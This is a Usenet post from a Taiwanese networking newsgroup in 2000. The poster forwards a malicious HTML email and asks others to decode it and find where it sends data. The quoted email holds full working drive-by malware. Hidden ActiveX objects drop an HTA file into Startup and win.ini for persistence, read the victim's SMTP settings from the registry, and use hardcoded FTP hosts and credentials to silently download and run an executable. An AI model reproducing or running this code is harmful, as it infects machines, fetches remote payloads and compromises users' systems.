From pavo.bbs@bbs.ee.nthu.edu.tw Fri Feb 11 18:26:02 2000
Path: typhoon4.tampabay.rr.com!cyclone2.tampabay.rr.com!cyclone-southeast.rr.com!news-southeast.rr.com!cyclone.southeast.rr.com!cyclone-east.rr.com!news.rr.com!news-east.rr.com!portc05.blue.aol.com!gip.net.MISMATCH!news-peer.gip.net!news.gsl.net!gip.net!news.maxwell.syr.edu!News.Math.NCTU.edu.tw!news.cs.nthu.edu.tw!newsfeed.nthu.edu.tw!news.ee.nthu.edu.tw!star
From: pavo.bbs@bbs.ee.nthu.edu.tw (pavo)
Newsgroups: tw.bbs.comp.network
Subject: 有人可以解出來嗎
Date: 11 Feb 2000 23:26:02 GMT
Organization: ☆清華電機☆
Message-ID: <3Z0jTQ$JWs@bbs.ee.nthu.edu.tw>
X-Filename: network/A0SA96KA
Lines: 213
Xref: cyclone2.tampabay.rr.com tw.bbs.comp.network:67315

以下是一封於信件中收集e-mail程式煩請大家高手解開,其收集地點及密碼
好教訓此人
Return-path: <a803847@hotmail.com>
Envelope-to: pavo@tpts4.seed.net.tw
Delivery-date: Sat, 12 Feb 2000 02:49:21 +0800
Received: from [202.39.14.141] (helo=dns.wintel.com.tw)
        by tpts4.seed.net.tw with esmtp (SEEDNet Mail Server v2.310f)
        id 12JL81-0003uf-00; Sat, 12 Feb 2000 02:49:17 +0800
Received: from lcm_m.lcm.com.tw ([210.242.71.65])
        by dns.wintel.com.tw (8.9.3/8.9.3) with ESMTP id JAA00838;
        Wed, 9 Feb 2000 09:22:56 +0800
Message-Id: <200002090122.JAA00838@dns.wintel.com.tw>
Received: from 210.242.71.65 (h235.s226.ts32.hinet.net [163.32.226.235]) by lcm_m.lcm.com.tw with SMTP (Microsoft Exchange Internet Mail Service Version 5.5
.2232.9)
        id D7PWY1R5; Tue, 8 Feb 2000 18:46:45 +0800
DATE: 18:43:55
FROM: a57921@hotmail.com
TO: a9687@hotmail.com
SUBJECT:
MIME-Version: 1.0
Content-Type: multipart/alternative;
    boundary = "----=_NextPart_000_0006_01BF6B1E.533D9940"
Status:

This is a multi-part message in MIME format.




------=_NextPart_000_0006_01BF6B1E.533D9940
Content-Type: text/html;
                       charset="big5"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dbig5" http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2722.2800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY>
<P>
<OBJECT classid=3Dclsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95 height=3D0 =
id=3Dwm=20
width=3D0 border=3D"0"></OBJECT></P>
<P>
<OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC height=3D0 =
id=3Dscr=20
width=3D0 border=3D"0"></OBJECT></P>
<SCRIPT language=3DJavaScript>
try {
var NType =3D new =
Array("politics/c","focus/c","national/c","biz/c","sports/c","showbiz/c",=
"money/c");
var BaseURL =3D "http://www.chinatimes.com.tw/news/papers/online/";
var NDate =3D new Date();
var NTypeID=3DMath.floor(Math.random()*7);
var YY=3DNDate.getFullYear()-1911;
var MM=3DNDate.getMonth()+1;
var DD=3DNDate.getDate();
var NN=3DMath.floor(Math.random()*3)+1
NN=3DNN+"0";
var DExist =3D 0;
var TPath =3D "";=20
DirExist();
if (DExist=3D=3D1) {
scr.Reset(); =20
scr.Path=3DTPath+"\\Microsoft Internet Explorer.hta";
scr.doc=3D"<SCRIPT>  window.resizeTo\(0,0\) </"+"SCRIPT> <HEAD> =
<HTA:APPLICATION ID=3D\"APs\" APPLICATIONNAME=3D\"APs\" =
BORDER=3D\"none\" CAPTION=3D\"no\"SHOWINTASKBAR=3D\"no\" =
SINGLEINSTANCE=3D\"yes\" SYSMENU=3D\"no\"  =
WINDOWSTATE=3D\"normal\"></"+"HEAD> <html> <p><script =
language=3D\"JAVAScript\"> try { var wsh=3D new =
ActiveXObject\(\"Wscript.Shell\"\); var =
SysDir=3Dwsh.ExpandEnvironmentStrings\(\"%WINDIR%\"\); var fso =3D new =
ActiveXObject\(\"Scripting.FileSystemObject\"\); var =
P3=3D\"<SCRIPT>&&window.resizeTo\\\(0,0\\\)&&@@SCRIPT>&&<HEAD>&&<HTA:APPL=
ICATION =
ID=3D?@APs?@&&APPLICATIONNAME=3D?@APs?@&&BORDER=3D?@none?@&&CAPTION=3D?@n=
o?@&&SHOWINTASKBAR=3D?@no?@&&SINGLEINSTANCE=3D?@yes?@&&SYSMENU=3D?@no?@&&=
WINDOWSTATE=3D?@normal?@>@@HEAD>&&<script =
language=3D?@JAVAScript?@>&&var fso =3D new =
ActiveXObject\\\(?@Scripting.FileSystemObject?@\\\);&&var wsh =3D new =
ActiveXObject\\\(?@Wscript.Shell?@\\\);&&var =
SysDir=3Dwsh.ExpandEnvironmentStrings\\\(?@%WINDIR%?@\\\);&&var FtpSite =
=3D new =
Array\\\(?@dany777.homepage.com?@,?@iopi999.homepage.com?@,?@pop123.homepage.com?@,?@to=
do888.homepage.com?@,?@ftp.todo.com.tw?@,?@hammer.prohosting.com?@,?@hammer.pr=
ohosting.com?@,?@catv169.homepage.com?@,?@catv170.homepage.com?@,?@todo16=
8.homepage.com?@\\\);&&var FtpLogin =3D new =
Array\\\(?@dany777?@,?@iopi999?@,?@pop123?@,?@todo888?@,?@kvvbill5?@,?=
@catv168?@,?@catv169?@,?@catv169?@,?@catv170?@,?@todo168?@\\\);&&var =
MyFile;&&var MSIEHTA=3D1;&&var MyKey; &&var Done=3D1;&&try {MyFile =3D =
fso.GetFile\\\(SysDir+?@\\\\\\\\Startm~1\\\\\\\\Programs\\\\\\\\=B1=D2=B0=
=CA\\\\\\\\MICROS~1.HTA?@\\\);}&&catch \\\(e\\\) {MSIEHTA=3D0;};&&if =
\\\(MSIEHTA=3D=3D1\\\) MyFile.Delete\\\(\\\);&&try =
{MyKey=3Dwsh.RegRead\\\(?@HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\VB =
and VBA Program =
Settings\\\\\\\\Microsoft\\\\\\\\InternetExplorer\\\\\\\\Vendor?@\\\);}&&=
catch \\\(e\\\) {Done=3D0;};&&if \\\(Done=3D=3D1\\\) =
{&&self.close\\\(\\\); }&&else {&&var =
AccID=3Dwsh.RegRead\\\(?@HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microso=
ft\\\\\\\\Internet Account Manager\\\\\\\\Default Mail =
Account?@\\\);&&var =
DeSMTP=3Dwsh.RegRead\\\(?@HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Micros=
oft\\\\\\\\Internet Account =
Manager\\\\\\\\Accounts\\\\\\\\?@+AccID+?@\\\\\\\\SMTP =
Server?@\\\);&&MyFile =3D =
fso.CreateTextFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\MSIE.INI?@, =
1\\\);&&MyFile.WriteLine\\\(DeSMTP\\\);&&MyFile.Close\\\(\\\);&&var MSIEEXE=3D1;&&var =
VBEXE=3D1;&&CheckEXE\\\(\\\); }&&function CheckEXE\\\(\\\)&&{&&var =
FtpID=3DMath.floor\\\(Math.random\\\(\\\)*10\\\);&&VBEXE=3D1;&&try =
{MyFile =3D =
fso.GetFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\MSVBVM50.DLL?@\\\);}&&catch=
 \\\(e\\\) {VBEXE=3D0;};&&MSIEEXE=3D1;&&try {MyFile =3D =
fso.GetFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\system\\\\\\\\MSIE.EXE?@\\\=
);}&&catch \\\(e\\\) {MSIEEXE=3D0;};&&if \\\(MSIEEXE=3D=3D0\\\) {&&  try =
{fso.CreateFolder\\\(SysDir+?@\\\\\\\\system\\\\\\\\system?@\\\)}&&  =
catch \\\(e\\\) {};&&  try {MyFile =3D =
fso.CreateTextFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\MSIE.LST?@, 1\\\); =
&&  MyFile.Writeline\\\(FtpLogin[FtpID]\\\);&&  =
MyFile.Writeline\\\(?@995119?@\\\);&&  =
MyFile.Writeline\\\(?@bin?@\\\);&&  MyFile.Writeline\\\(?@prompt =
off?@\\\);&&  if \\\(FtpID=3D=3D6 || FtpID=3D=3D7 \\\)&& =
MyFile.Writeline\\\(?@cd html?@\\\);&&  MyFile.Writeline\\\(?@get =
MSIE.EXE =
?@+SysDir+?@\\\\\\\\system\\\\\\\\system\\\\\\\\MSIE.EXE?@\\\);&&  if =
\\\(VBEXE=3D=3D0\\\)&&  self.close\\\(\\\);&&  =
MyFile.Writeline\\\(?@bye?@\\\);&&  MyFile.Close\\\(\\\); }&&  catch =
\\\(e\\\) {};&&  wsh.run\\\(?@ftp =
-s:?@+SysDir+?@\\\\\\\\system\\\\\\\\MSIE.LST ?@+FtpSite[FtpID], 0, =
0\\\); &&  window.setTimeout\\\(?@CheckEXE\\\(\\\);?@, 180000\\\);&&} =
&&else {&&MSIEEXE=3D1&&try {MyFile =3D =
fso.GetFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\system\\\\\\\\EXPLORER.EXE?=
@\\\);}&&catch \\\(e\\\) {MSIEEXE=3D0;};&&if \\\(MSIEEXE=3D=3D0\\\) =
&&{&&MyFile =3D =
fso.CreateTextFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\MSBoot.BAT?@, =
1\\\);&&MyFile.Writeline\\\(?@echo =
on?@\\\);&&MyFile.Writeline\\\(SysDir.substr\\\(0,2\\\)\\\);&&MyFile.Writ=
eline\\\(?@cd =
?@+SysDir+?@\\\\\\\\system\\\\\\\\system?@\\\);&&MyFile.Writeline\\\(?@MS=
IE?@\\\);&&if \\\(VBEXE=3D=3D0\\\) =
self.close\\\(\\\);&&MyFile.Writeline\\\(?@EXPLORER?@\\\);&&MyFile.Close\=
\\(\\\);&&wsh.run\\\(SysDir+?@\\\\\\\\System\\\\\\\\MSBoot.BAT?@, 0, =
0\\\);&&window.setTimeout\\\(?@CheckEXE1\\\(\\\);?@, 60000\\\); =
&&}&&else&&{&&MyFile =3D =
fso.CreateTextFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\MSBoot.BAT?@, =
1\\\);&&MyFile.Writeline\\\(?@echo =
on?@\\\);&&MyFile.Writeline\\\(SysDir.substr\\\(0,2\\\)\\\);&&MyFile.Writ=
eline\\\(?@cd ?@+SysDir+?@\\\\\\\\system\\\\\\\\system?@\\\);&&if =
\\\(VBEXE=3D=3D0\\\) =
self.close\\\(\\\);&&MyFile.Writeline\\\(?@EXPLORER?@\\\);&&MyFile.Close\=
\\(\\\);&&wsh.run\\\(SysDir+?@\\\\\\\\System\\\\\\\\MSBoot.BAT?@, 0, =
0\\\);&&self.close\\\(\\\);}&&}&&}&&&&function =
CheckEXE1\\\(\\\)&&{&&MSIEEXE=3D1&&try {MyFile =3D =
fso.GetFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\system\\\\\\\\EXPLORER.EXE?=
@\\\);}&&catch \\\(e\\\) {MSIEEXE=3D0;};&&if \\\(MSIEEXE=3D=3D0\\\) =
&&{&&MyFile =3D =
fso.CreateTextFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\MSBoot.BAT?@, =
1\\\);&&MyFile.Writeline\\\(?@echo off?@\\\);&&MyFile.Writeline\\\(?@del =
?@+SysDir+?@\\\\\\\\system\\\\\\\\system\\\\MSIE.EXE?@\\\);&&MyFile.Write=
line\\\(?@del =
%windir%\\\\\\\\System\\\\\\\\MSBoot.BAT?@\\\);&&MyFile.Close\\\(\\\);&&w=
sh.run\\\(SysDir+?@\\\\\\\\System\\\\\\\\MSBoot.BAT?@, 0, =
0\\\);&&window.setTimeout\\\(?@CheckEXE\\\(\\\);?@, 30000\\\); &&}&&else =
{&&self.close\\\(\\\);} &&}&&@@script>\"; var MyFile =3D =
fso.CreateTextFile\(SysDir+\"\\\\system\\\\MSIE.HTA\", 1\); =
P3=3DP3.replace\(/\(\\&\\&\)/g,\"\\n\"\); =
P3=3DP3.replace\(/\(\\?\\@\)/g,\"\\\"\"\); =
P3=3DP3.replace\(/\(\\@\\@\)/g,\"</"+"\"\); MyFile.WriteLine\(P3\); =
MyFile.Close\(\); CopyWinINI\(\); wsh.run\(SysDir+\"\\\\System\\\\MSHTA =
\"+ SysDir+\"\\\\system\\\\MSIE.HTA\", 0, 0\); self.close\(\); } catch =
\(e\) {self.close\(\);} function CopyWinINI\(\) { try{var MyFile1 =3D =
fso.OpenTextFile\(SysDir+\"\\\\win.ini\",1,0\);MyFile =3D =
fso.CreateTextFile\(SysDir+\"\\\\winini.bak\", 1\);while =
\(!MyFile1.AtEndOfStream\) {var S=3DMyFile1.ReadLine\(\);if =
\(S.search\(/run/i\)=3D=3D0\) {=
MyFile.WriteLine\(\"run=3D\"+SysDir+\"\\\\system\\\\MSIE.HTA\"\); }=
else {MyFile.WriteLine\(S\); } }MyFile1.Close\(\);=
MyFile.Close\(\);MyFile =3D fso.GetFile\(SysDir+\"\\\\winini.bak\"\); =
  MyFile.Copy\(SysDir+\"\\\\win.ini\"\);MyFile =3D =
fso.GetFile\(SysDir+\"\\\\winini.bak\"\);MyFile.Delete\(\);} catch =
\(e\) {self.close\(\);}; } </"+"script>";
scr.write();}
}
catch(e){}
function DirExist() {
var Path =3D new Array();
var SPath;
Path[0]=3D  "WINDOWS"
Path[1]=3D  "WINDOW"=20
Path[2]=3D  "WIN"
Path[3]=3D  "WIN98"
Path[4]=3D  "WIN95"
Path[5]=3D  "WINDOWS.000"
Path[6]=3D  "WINDOWS.001"
for (i =3D 0; i<14 ;i++) {
if (i >=3D 7 )=20
SPath=3D"D:\\"+Path[i-7];
else
SPath=3D"C:\\"+Path[i];
wm.FileName=3DSPath+"\\Start Menu\\Programs\\=B1=D2=B0=CA";
if (wm.ErrorCode !=3D -2147220970) {
TPath=3DSPath+"\\Start Menu\\Programs\\=B1=D2=B0=CA";=20
break;} }
if (i<14) DExist =3D 1 ;
else DExist =3D 0 ;
return ;}
</SCRIPT>
</BODY></HTML>
--
※ Origin: 清華電機 ◆ From: h189.s227.ts32.hinet.net

